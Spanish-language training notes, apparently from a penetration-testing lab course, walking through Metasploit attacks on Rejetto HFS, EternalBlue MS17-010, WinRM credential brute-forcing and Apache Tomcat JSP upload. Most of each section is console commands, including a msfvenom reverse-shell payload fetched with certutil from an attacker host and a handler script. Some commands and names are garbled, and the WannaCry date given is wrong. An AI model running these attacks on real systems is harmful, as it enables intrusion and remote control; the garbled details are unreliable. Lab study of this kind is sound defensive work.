Windows Exploitation
Exploiting A Vulnerable HTTP File Server
Un HTTP File Server (HFS) es un servidor web diseñado para compartir archivos y documentos.
Los HTTP File Server normalmente se ejecutan en el puerto TCP 80 y utilizan el protocolo HTTP para la comunicación subyacente.
Rejetto HFS es un servidor de archivos HTTP gratuito y de código abierto que se puede configurar tanto en Windows como en Linux.
Rejetto HFS V 2.3 es vulnerable a un ataque de ejecución de comandos remotos.
MSF tiene un módulo de explotación que podemos utilizar para obtener acceso al sistema de destino que aloja el HFS.
Demo: Exploiting A Vulnerable HTTP File Server
msf5 > setg RHOSTS 10.2.24.160
RHOSTS 10.2.24.160
msf5 > db_nmap -ss -sv -0 10.2.24.160
msf5 > search type:exptoit name:rejetto
msf5 > use exploit/windows/http/rejetto_hfs_exec
msf5 exploit (windows/http/rejetto_hfs_exec) > show options
msf5 exploit (windows/http/rejetto_hfs_exec) > run
meterpreter > sysinfo
# Configurar para explotar la vulnerabilidad sobre un sistema de x64
msf5 exploit (windows/http/rejetto_hfs_exec) > set payLoad windows/x64/meterpreter/reverse_tcp
msf5 exploit (windows/http/rejetto_hfs_exec) > show options
msf5 exploit (windows/http/rejetto_hfs_exec) > run
Quiz: Exploiting A Vulnerable HTTP File Server

Exploiting Windows MS17-010 SMB Vulnerability
EternalBIue (MS17-OIO/CVE-2017-0144) es el nombre que se le da a una colección de vulnerabilidades y exploits de Windows que permiten a los atacantes ejecutar código arbitrario de forma remota y obtener acceso a un sistema Windows y, en consecuencia, a la red de la que forma parte el sistema de destino.
El exploit EternalBlue fue desarrollado por la NSA (Agencia de Seguridad Nacional) para aprovechar la vulnerabilidad MS17-010 y fue filtrado al público por un grupo de piratas informáticos llamado Shadow Brokers en 2017.
El exploit EternalBlue aprovecha una vulnerabilidad en el protocolo SMBv1 de Windows que permite a los atacantes enviar paquetes especialmente diseñados que, en consecuencia, facilitan la ejecución de comandos arbitrarios.
MS17-010 EternalBlue Exploit
El exploit EternalBlue se utilizó en el ataque del ransomware WannaCry del 27 de junio de 2017 para explotar otros sistemas Windows en redes con el objetivo de propagar el ransomware a la mayor cantidad posible de sistemas.
Esta vulnerabilidad afecta a varias versiones de Windows:
Windows Vista
Windows 7
Windows Server 2008
Windows 8.1
Windows Server 2012
Windows 10
Windows Server 2016
Microsoft lanzó un parche para la vulnerabilidad en marzo de 2017, sin embargo, muchos usuarios y empresas aún no han aplicado el parche a sus sistemas.
El exploit EternalBlue tiene un módulo auxiliar MSF que se puede utilizar para comprobar si un sistema de destino es vulnerable al exploit y también tiene un módulo de exploit que se puede utilizar para explotar la vulnerabilidad en sistemas sin parches.
El módulo de exploit EternalBlue se puede utilizar para explotar sistemas Windows vulnerables y, en consecuencia, proporcionarnos una sesión privilegiada de meterpreter en el sistema de destino.
Demo: Exploiting Windows MS17-010 SMB Vulnerability
msf6 > workspace -a EternalBlue
msf6 > db_nmap -ss -sv -0 10.10.10.7
msf6 > services
msf6 > search type:auxiliary EternalBlue
msf6 > use auxiliary/scanner/smb/smb_ms17_Ø10
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 10.10.10.71
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
msf6 auxiliary(scanner/smb/smb ms17_010) > search type:exploit EternalBlue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.10.7
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
Quiz: Exploiting Windows MS17-010 SMB Vulnerability

Exploiting WinRM (Windows Remote Management Protocol)
Exploiting WinRM
Windows Remote Management (WinRM) es un protocolo de administración remota de Windows que se puede utilizar para facilitar el acceso remoto a sistemas Windows.
WinRM se utiliza normalmente de las siguientes maneras:
Acceder de forma remota e interactuar con hosts de Windows en una red local.
Acceder de forma remota y ejecutar comandos en sistemas Windows en Internet.
Administrar y configurar sistemas Windows de forma remota.
WinRM normalmente utiliza los puertos TCP 5985 y 5986 (HTTPS).
WinRM implementa control de acceso y seguridad para la comunicación entre sistemas a través de varias formas de autenticación.
Podemos utilizar MSF para identificar usuarios de WinRM y sus contraseñas, así como para ejecutar comandos en el sistema de destino.
También podemos utilizar un módulo de explotación MSF WinRM para obtener una sesión de meterpreter en el sistema de destino.
Demo: Exploiting WinRM (Windows Remote Management Protocol)
msf5 > workspace -a WinRM
msf5 > db_nmap -ss -sv -O -p- 10.4.22.219
msf5 > services
msf5 > search type:auxiliary winrm
msf5 > use auxiliary/scanner/winrm/winrm auth_methods
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > show options
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > setg RHOSTS
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > run
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > search winrm_login
msf5 auxiliary(scanner/winrm/winrm_auth_methods) > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > show options
msf5 auxiliary(scanner/winrm/winrm_login) > set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
msf5 auxiliary(scanner/winrm/winrm_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf5 auxiliary(scanner/winrm/winrm_login) > run
# Iniciamos sesion por cmd
msf5 auxiliary(scanner/winrm/winrm_login) > search winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_login) > use auxiliary/scanner/winrm/winrm_cmd
msf5 auxiliary(scanner/winrm/winrm_cmd) > show options
msf5 auxiliary(scanner/winrm/winrm_cmd) > set USERNAME administrator
msf5 auxiliary(scanner/winrm/winrm_cmd) > set PASSWORD tinkerbell
msf5 auxiliary(scanner/winrm/winrm_cmd) > set CMD whoami
msf5 auxiliary(scanner/winrm/winrm_cmd) > run
# Sesion por script
msf5 auxiliary(scanner/winrm/winrm_cmd) > search winrm_script
use
msf5 exploit (windows/winrm/winrm_script_exec) > set USERNAME administrator
msf5 exploit (windows/winrm/winrm_script_exec) > set PASSWORD tinkerbelt
msf5 exploit (windows/winrm/winrm_script_exec) > set FORCE_VBS true
msf5 exploit (windows/winrm/winrm_script_exec) > run
# dentro del proceso de ejecucion el exploit intentara escalar privilegios con el
# usuario system
Quiz: Exploiting WinRM (Windows Remote Management Protocol)

Exploiting A Vulnerable Apache Tomcat Web Server
Apache Tomcat, también conocido como servidor Tomcat, es un servidor web servlet Java popular, gratuito y de código abierto.
Se utiliza para crear y alojar sitios web dinámicos y aplicaciones web basados en la plataforma de software Java.
Apache Tomcat utiliza el protocolo HTTP para facilitar la comunicación subyacente entre el servidor y los clientes.
Apache Tomcat se ejecuta en el puerto TCP 8080 de forma predeterminada.
Exploiting Apache Tomcat
El servidor web estándar Apache HTTP se utiliza para alojar sitios web estáticos y dinámicos o aplicaciones web, generalmente desarrollados en PHP y HTML.
El servidor web Apache Tomcat se utiliza principalmente para alojar sitios web dinámicos o aplicaciones web desarrolladas en Java.
Apache Tomcat V8.5.19 e inferiores son vulnerables a una vulnerabilidad de ejecución de código remoto que podría permitir a un atacante cargar y ejecutar un payload JSP para obtener acceso remoto al servidor de destino.
Podemos utilizar un módulo de explotación MSF preconstruido para explotar esta vulnerabilidad y, en consecuencia, obtener acceso al servidor de destino.
Demo: Exploiting A Vulnerable Apache Tomcat Web Server
msf5 > workspace -a tomcat
msf5 > setg RHOSTS 10.2.20.126
msf5 > db_nmap -ss -sv -0 10.2.20.126
msf5 > services
msf5 > search type:exploit tomcat_jsp
msf5 > use exploit/multi/http/tomcat_jsp_upload_bypass
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > show options
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > info
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > set payload java/jsp_shell_bind_tcp
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > show options
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > set SHELL cmd
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > run
# Con ctrl+z, ejecutaremos la sesion en segundo plano
msf5 exploit (mutt1Lhttp/tomcat_jsp_upload_bypass) > sessions
# identificaremos que tenemos una sesion segun el tipo configurado (shell java/linux)
# Generamos un payload
root@attackdefense:$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.5.4 LPORT=1234 -f exe > meterpreter.exe
# Trasferir el payload al destino
root@attackdefense:$ sudo python -m SimpleHTTPServer 80
# Descargar desde el sistema destino
Windows: certutil -urlcache -f http://10.10.5.4/meterpreter.exe meterpreter.exe
# Creamos un script con el nombre "handler.rc"
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.5.4
set LPORT 1234
run
# Ejecutamos el script
msfconsole -r handler. rc
# En el objetivo ejecutamos el payload
Windows: .\meterpreter.exe
Quiz: Exploiting A Vulnerable Apache Tomcat Web Server


Last updated